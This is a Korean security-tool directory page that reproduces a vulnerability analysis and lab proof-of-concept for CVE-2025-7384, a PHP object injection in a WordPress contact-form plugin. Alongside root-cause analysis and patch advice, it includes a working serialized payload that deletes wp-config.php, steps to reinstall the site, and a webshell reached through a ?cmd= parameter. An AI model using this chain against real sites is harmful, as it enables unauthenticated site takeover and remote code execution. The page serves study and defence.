Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-7384 — WordPress Database for Contact Form 7의 인증되지 않은 치명적인 PHP 객체 인젝션에 대한 Exploit PoC 및 근본 원인 분석으로, 임의 파일 삭제를 통한 RCE로 이어집니다. | Kitploit
도구/GitHubGitHub/dungsocool/cve-2025-7384
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubdungsocool/cve-2025-7384

CVE-2025-7384

WordPress Database for Contact Form 7의 인증되지 않은 치명적인 PHP 객체 인젝션에 대한 Exploit PoC 및 근본 원인 분석으로, 임의 파일 삭제를 통한 RCE로 이어집니다.

저장소 보기
19일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-7384 — PHP 객체 인젝션을 통한 RCE

플러그인: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8 (치명적)
CWE: CWE-502 — 신뢰할 수 없는 데이터의 역직렬화
인증 요구 사항: 없음 (비인증)
영향: 원격 코드 실행


목차

  1. 취약점 개요
  2. 관련 개념
  3. 근본 원인 분석 (소스 코드 + 디버그)
  4. 공격 체인
  5. 단계별 재현 (POC)
  6. 영향 평가
  7. 수정 및 대응 방안

1. 취약점 개요

"Database for Contact Form 7" 플러그인(슬러그: contact-form-entries) 버전 1.4.3 이하에는 PHP 객체 인젝션 취약점이 존재합니다. WordPress 관리자가 관리자 패널에서 양식 기록(항목)을 조회하면, 이 플러그인은 인증되지 않은 사용자가 Contact Form 7을 통해 제출한 데이터에 대해 인스턴스화할 수 있는 클래스 목록을 제어하지 않은 채 maybe_unserialize() 함수를 직접 호출합니다.

공격자는 로그인할 필요가 없습니다. 직렬화된 PHP 객체를 아무 양식 필드에 삽입하여 일반 문의 양식을 제출하기만 하면 됩니다. 이 데이터는 데이터베이스에 원본 그대로 저장됩니다. 관리자가 해당 항목을 열어 보면 역직렬화 함수가 공격자가 선택한 객체를 인스턴스화하여 __destruct() 또는 __wakeup() 같은 매직 메서드를 트리거하고, WordPress 환경에 존재하는 POP 가젯에 따라 임의의 동작을 실행하게 됩니다.

심각도: 적절한 POP 가젯(예: __destruct() 메서드에서 unlink()를 호출하는 클래스)이 있으면 공격자는 wp-config.php 파일을 삭제하여 WordPress를 초기 설치 화면으로 되돌릴 수 있습니다 → 이후 공격자가 통제하는 관리자 계정으로 재설치 → 웹셸이 포함된 플러그인 설치 → 서버에서 완전한 원격 코드 실행(RCE) 달성.


2. 관련 개념

PHP 직렬화 / 역직렬화

PHP는 객체를 구조화된 텍스트 문자열로 변환하기 위해 serialize()를 사용하고, 그 문자열에서 객체를 복원하기 위해 unserialize()를 사용합니다. unserialize()가 신뢰할 수 없는 소스(예: 사용자 입력)로부터 데이터를 받으면, 공격자는 해당 시점에 PHP 메모리에 로드된 클래스에 속하는 임의의 객체를 구성할 수 있습니다.

PHP 매직 메서드

PHP가 객체 수명 주기 동안 자동으로 호출하는 특수 메서드입니다. 이 맥락에서 가장 중요한 것:

  • __wakeup() — 객체가 역직렬화될 때 즉시 호출됨
  • __destruct() — 객체가 소멸될 때(범위를 벗어나거나 요청이 종료될 때) 호출됨
  • __toString() — 객체가 문자열로 캐스팅될 때 호출됨

POP 체인 (Property-Oriented Programming)

애플리케이션 내 기존 클래스의 여러 매직 메서드를 연결하여 위험한 동작 시퀀스를 구성하는 기법입니다. 공격자는 새 코드를 작성하지 않으며, 기존 객체의 속성만 조작하여 매직 메서드가 실행될 때 개발자가 의도하지 않은 동작을 수행하게 합니다.

WordPress의 maybe_unserialize()

WordPress 코어 래퍼 함수입니다. is_serialized()를 호출하여 문자열이 직렬화된 데이터인지 확인하고, 맞으면 unserialize()를 호출하여 객체를 복원합니다. 문제: 이 함수는 인스턴스화가 허용되는 클래스를 제한하기 위해 allowed_classes 매개변수(PHP 7.0부터 사용 가능)를 전달하지 않습니다.


3. 근본 원인 분석 — 소스 코드에서 취약점 발견

1단계: 싱크 포인트 찾기 (싱크 헌팅)

먼저 플러그인 전체 소스 코드를 grep하여 역직렬화 함수를 찾습니다. 이들은 PHP에서 가장 위험한 함수로, 객체 인젝션으로 이어질 수 있습니다:

root@kitploit:~
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

image.png

출력 결과 maybe_unserialize() 호출 지점이 여러 곳 발견되며, 특히 includes/data.php의 545행, verify_val() 함수 내부에 있습니다:

image 1.png

root@kitploit:~
// data.php lines 538-548
public function verify_val($string){
    if(in_array(substr(ltrim($string),0,1), array('{','['))
       && in_array(substr(rtrim($string),-1), array('}',']'))
    ){
        $val = json_decode($string, 1);
        if(is_array($val)){ $string = $val; }
    } else if(is_serialized($string)){            // line 544
        $string = maybe_unserialize($string);     // ★ line 545 — SINK
    }
    return $string;
}

핵심 질문: $string 변수는 어디에서 오는가? 필터링 없이 사용자 입력에서 온다면 → 이는 취약점입니다.

2단계: 역추적 — 데이터는 어디에서 오는가?

verify_val()이 호출되는 위치를 찾습니다. 같은 data.php 파일에서 역추적합니다:

image 2.png

root@kitploit:~
// data.php lines 520-535
public function get_lead_detail($lead_id){
    global $wpdb;
    $table = $wpdb->prefix . 'vxcf_leads_detail';
    $detail_arr = $wpdb->get_results(
        $wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
        ARRAY_A
    );

    foreach($detail_arr as $k => $v){
        if(!empty($v['value'])){
            $detail_arr[$k]['value'] = $this->verify_val($v['value']);  // ← calls verify_val
        }
    }
    return $detail_arr;
}

→ $string은 정확히 $v['value'], 즉 wp_vxcf_leads_detail 데이터베이스 테이블에서 가져온 값입니다. 이 함수는 관리자가 양식 항목의 세부 정보를 조회할 때 호출됩니다.

다음 질문: wp_vxcf_leads_detail 내부의 데이터는 어디에서 오는가? 누가 기록하는가?

3단계: 데이터 기록 지점 찾기 (소스)

2단계에서 데이터가 데이터베이스에서 가져와진다는 것을 알았습니다. 다음 질문: 누가 그 안에 데이터를 기록하는가? data.php에서 INSERT 쿼리를 검색합니다:

root@kitploit:~
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

image 3.png

자세한 내용은 create_lead() 함수 코드(85-103행)를 확인합니다:

image 4.png

98-99행에서 양식 필드(예: your-message)의 내용인 값 $v가 $wpdb->insert()를 통해 데이터베이스에 직접 삽입됩니다. 이 플러그인은 Contact Form 7의 wpcf7_before_send_mail 이벤트에 후킹되므로, 사용자가 양식을 제출할 때마다 모든 필드가 원본 그대로 저장됩니다.

추가 확인: 플러그인은 저장 전에 sanitize_text_field()와 sanitize_textarea_field()를 사용하지만, 이 두 함수는 HTML 태그와 특수 HTML 문자만 제거합니다. O:21:"VulnerableFileHandler":2:{...} 같은 직렬화된 페이로드에는 HTML 태그가 없으므로 완전히 그대로 통과합니다.

4단계: 결론 — 취약점 확인

이 시점에서 전체 흐름이 확립됩니다:

root@kitploit:~
Unauthenticated user submits CF7 form (your-message field contains serialized object)
    ↓ sanitize_text_field() — DOES NOT block serialized strings
Saved into wp_vxcf_leads_detail table (raw payload)
    ↓
Admin views entry → get_lead_detail() → verify_val()
    ↓ is_serialized() returns true
maybe_unserialize($string) — line 545 → PHP instantiates arbitrary object
    ↓
Object's __destruct() executes → performs attacker-controlled action

근본 원인: data.php:545의 maybe_unserialize() 함수가 인증되지 않은 사용자 입력에서 비롯된 데이터에 대해 allowed_classes: false를 전달하지 않고 호출됩니다. 공격자는 CF7 양식의 your-message 필드를 통해 직렬화된 PHP 객체를 제출하기만 하면 되며, 관리자가 해당 항목을 조회하면 PHP가 그 객체를 인스턴스화하고 __destruct() 매직 메서드를 트리거합니다.

5단계: 디버거 검증 (Xdebug)

시각적 증명을 위해 Xdebug를 사용하여 data.php의 545행에 중단점을 설정합니다. 양식을 통해 페이로드를 주입하고 관리자가 항목을 조회하게 한 후, 디버거는 정확히 maybe_unserialize()에서 멈춥니다:

image 5.png

변수 패널에 공격자의 페이로드를 담은 $string이 표시됩니다:

  • $string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → 페이로드가 양식 → 데이터베이스 → 역직렬화 함수까지 차단 없이 이동함

실행 라인:

  • 545행: $string=maybe_unserialize($string);

호출 스택은 함수 호출 순서를 보여줍니다:

root@kitploit:~
vxcf_form_data->verify_val        data.php:545
vxcf_form_data->get_entries       data.php:388
vxcf_form::get_entries            contact-form-entries.php:2682
vxcf_form_pages->entries_page     plugin-pages.php:1017
...
WP_Hook->apply_filters            class-wp-hook.php:324
WP_Hook->do_action                class-wp-hook.php:348

→ 분석된 정확한 흐름 확인: 관리자가 항목 조회 → get_entries() → verify_val() → maybe_unserialize().


4. 공격 체인

공격 체인은 5단계로 구성됩니다. 공격자는 1단계(양식 제출)만 수행하면 됩니다. 2~5단계는 관리자가 항목을 조회한 후 자동으로 발생합니다.

1단계 — 페이로드 주입 (인증 없음)

공격자는 메시지 필드에 직렬화된 PHP 객체를 넣어 CF7 양식을 제출합니다.

  • 엔드포인트: POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback
  • your-message 필드에 포함: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}
  • 플러그인이 페이로드를 wp_vxcf_leads_detail 테이블에 저장 — sanitize_text_field()는 직렬화된 문자열을 차단하지 않음

2단계 — 역직렬화 트리거 (관리자 대기)

관리자가 Contact Form Entries 페이지를 열고 → 항목 세부 정보를 조회하면 → 플러그인이 verify_val()을 호출하고 → maybe_unserialize()가 실행됩니다.

  • PHP가 file_path = "/var/www/html/wp-config.php", cleanup = true인 VulnerableFileHandler 객체를 인스턴스화함
  • 요청이 완료되면 PHP 가비지 컬렉션이 __destruct()를 호출 → unlink("/var/www/html/wp-config.php")

3단계 — 임의 파일 삭제

wp-config.php 파일이 삭제됩니다 → WordPress는 데이터베이스 연결을 잃습니다.

  • http://target/에 접속하면 → /wp-admin/setup-config.php(초기 설정 화면)로 자동 리디렉션됨
  • WordPress는 사이트를 미설치 상태로 간주함

4단계 — WordPress 재설치

공격자는 알려진(또는 무차별 대입으로 알아낸) 데이터베이스 자격 증명을 사용하여 WordPress를 재설치합니다.

  • 공격자가 통제하는 새 관리자 계정을 생성함
  • 전체 관리자 권한으로 관리자 대시보드에 로그인함

5단계 — 원격 코드 실행

웹셸이 포함된 플러그인을 설치합니다 → 임의의 시스템 명령을 실행합니다.

  • 관리자 대시보드 → Plugins → Add New → PHP 웹셸이 포함된 플러그인 ZIP 업로드
  • 웹셸 URL 접근: /wp-content/plugins/shell/shell.php?cmd=id
  • 출력: uid=33(www-data) gid=33(www-data) → RCE 완료

5. 단계별 재현 (POC)

5.1 환경 설정

WordPress + 취약한 플러그인이 포함된 Docker 랩을 시작합니다:

root@kitploit:~
cd CVE-2025-7384
docker-compose up --build -d

로그에 LAB READY가 표시될 때까지 약 40초간 기다립니다. http://localhost:8181에 접속하여 WordPress가 실행 중인지 확인합니다.

5.2 인젝션 지점 식별

3단계의 소스 코드 분석을 통해 다음을 알 수 있습니다:

  • 싱크는 data.php:545에 위치 — 양식 필드 값에 대한 maybe_unserialize()
  • 소스는 wp_vxcf_leads_detail 테이블 — 데이터는 CF7 양식에서 옴
  • 새니타이제이션은 sanitize_text_field()만 사용 — 직렬화된 문자열을 차단하지 않음

→ 결론: CF7 양식의 아무 필드에나 직렬화된 PHP 객체를 제출하면 됩니다. your-message는 텍스트 영역이라 긴 문자열을 허용하고(이메일 형식이 필요한 your-email과 달리) 형식 검증이 적으므로 선택합니다.

5.3 문의 양식을 통한 페이로드 주입

http://localhost:8181/contact/에 접속하여 양식을 다음과 같이 작성합니다:

필드값
이름dung
이메일[email protected]
제목test inject
메시지O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}

image 6.png

페이로드 설명:

  • O:21:"VulnerableFileHandler" — VulnerableFileHandler 클래스를 인스턴스화함 (__destruct()가 unlink()를 호출)
  • s:9:"file_path";s:27:"/var/www/html/wp-config.php" — file_path 속성은 삭제할 대상 파일을 가리킴
  • s:7:"cleanup";b:1 — cleanup = true 속성이므로 __destruct()가 unlink()를 실행함

Submit을 클릭합니다. 양식에 메일 전송 오류 메시지(또는 성공)가 표시되지만 — 이는 무관합니다. contact-form-entries 플러그인은 메일 전송 전에 이미 모든 데이터를 데이터베이스에 저장했기 때문입니다.

5.4 역직렬화 트리거 — 관리자가 항목 조회

http://localhost:8181/wp-admin(admin / admin123)에 로그인합니다 → 왼쪽 메뉴에서 CRM Entries를 선택합니다 → 수신된 항목을 클릭하여 조회합니다.

image 7.png

이것이 실행이 data.php:545에 도달하는 바로 그 순간입니다 — 플러그인이 데이터베이스에서 your-message 값을 가져오고, is_serialized() 검사가 true를 반환하며, maybe_unserialize()를 호출합니다 → PHP가 VulnerableFileHandler 객체를 생성합니다 → 요청이 종료되고 __destruct()가 실행됩니다 → unlink("/var/www/html/wp-config.php").

5.5 임의 파일 삭제 확인

브라우저에서 http://localhost:8181/로 이동합니다 → WordPress가 /wp-admin/setup-config.php 페이지(초기 설정 화면)로 리디렉션합니다 → wp-config.php 파일이 성공적으로 삭제된 것입니다.

image 8.png

5.6 RCE로 권한 상승

wp-config.php가 삭제되면 WordPress는 미설치 상태로 되돌아갑니다. 공격자의 단계:

1단계 — WordPress 재설치:

http://localhost:8181/wp-admin/setup-config.php에 접속합니다 → 데이터베이스 자격 증명을 입력합니다:

필드값
데이터베이스 이름wordpress
사용자 이름wpuser
비밀번호wppass
데이터베이스 호스트db
테이블 접두사wp_

Submit을 클릭합니다 → 설치를 실행합니다 → 공격자가 통제하는 새 관리자 계정을 생성합니다.

2단계 — 웹셸 업로드:

관리자 대시보드에 로그인합니다 → Plugins → Add New → Upload Plugin → system-health.zip 파일(또는 system-monitor.zip)을 업로드합니다.

image 9.png

업로드 및 활성화가 완료됩니다.

3단계 — 명령 실행 (RCE):

접속: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

image 10.png

출력: uid=33(www-data) gid=33(www-data) → 원격 코드 실행 완료

접속: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

image 11.png

출력: www-data → 원격 코드 실행 완료


6. 영향 평가

*사용자 상호작용: NVD는 관리자가 양식 항목을 조회하는 것이 비정상적인 사용자 상호작용이 아닌 예상된 동작이므로 None으로 평가합니다.

실제 영향 범위

  • "Database for Contact Form 7" 플러그인은 wordpress.org에서 100,000개 이상의 활성 설치 수를 보유
  • 이 플러그인 버전 ≤ 1.4.3을 Contact Form 7과 함께 실행하는 모든 WordPress 사이트는 취약함
  • 공격자는 사전 정보가 전혀 필요 없음 — 사이트가 Contact Form 7을 사용한다는 것(HTML 소스로 쉽게 확인 가능)만 식별하면 됨
  • 페이로드가 데이터베이스에 영구적으로 저장되어 항목이 삭제될 때까지 공격이 지속됨

7. 수정 및 대응 방안

플러그인 개발자용

  1. 사용자 제공 데이터에 maybe_unserialize()를 사용하지 마십시오. 구조화된 데이터 저장이 필요할 때는 json_decode()를 대신 사용하십시오.

  2. 역직렬화가 반드시 필요하다면 allowed_classes: false 옵션(PHP 7.0+)을 제공하십시오:

root@kitploit:~
$data = unserialize($string, ['allowed_classes' => false]);

이렇게 하면 PHP가 어떤 객체도 인스턴스화하지 못하며 스칼라 유형과 배열만 허용됩니다.

  1. 저장 계층에서 입력 데이터를 검증하십시오: 양식 필드에 일반 텍스트만 포함되어야 한다면 /^[OaCis]:\d+/ 패턴(직렬화 데이터의 표시)과 일치하는 값을 거부하십시오.

WordPress 관리자용

  1. 플러그인을 즉시 버전 1.4.4 이상으로 업데이트하십시오
  2. wp_vxcf_leads_detail 데이터베이스 테이블에서 O:XX:"ClassName": 형식과 일치하는 문자열이 포함된 항목을 검사하십시오 — 존재하면 공격 시도를 의미합니다
  3. wp-config.php에 제한적인 파일 권한(440 또는 400)을 설정하십시오 — 웹 서버 프로세스에 의한 삭제 가능성을 줄입니다
  4. POST 데이터에서 직렬화된 PHP 객체를 탐지하는 규칙으로 구성된 WAF(웹 애플리케이션 방화벽)를 배포하십시오

패치 비교 (참고)

root@kitploit:~
// BEFORE (vulnerable):
} else if(is_serialized($string)){
    $string = maybe_unserialize($string);
}

// AFTER (patched):
} else if(is_serialized($string)){
    $string = json_decode(json_encode(
        unserialize($string, ['allowed_classes' => false])
    ), true);
}
도구 다운로드
속성값
CVE IDCVE-2025-7384
CVSS 점수9.8 (치명적)
CWECWE-502 — 신뢰할 수 없는 데이터의 역직렬화
영향 받는 플러그인contact-form-entries (Database for Contact Form 7) ≤ 1.4.3
인증 요구 사항없음 — CF7 양식을 제출하는 모든 사용자가 페이로드를 주입할 수 있음
트리거 조건관리자가 관리자 패널에서 주입된 항목을 조회할 때
최대 영향인증되지 않은 원격 코드 실행
패치 버전1.4.4+ (unserialize를 json_decode 또는 allowed_classes: false로 대체)
CVSS 지표값설명
공격 경로네트워크HTTP를 통해 악용되며 물리적 접근 불필요
공격 복잡도낮음페이로드를 포함한 POST 요청 1개만 전송하면 됨
요구 권한없음인증 불필요 — CF7 양식이 공개되어 있음
사용자 상호작용없음*관리자가 일상적인 작업 중 항목을 조회함
기밀성높음RCE로 서버의 모든 파일을 읽을 수 있음
무결성높음RCE로 모든 파일을 쓰거나 수정할 수 있음
가용성높음wp-config.php 삭제로 전체 웹사이트가 중단됨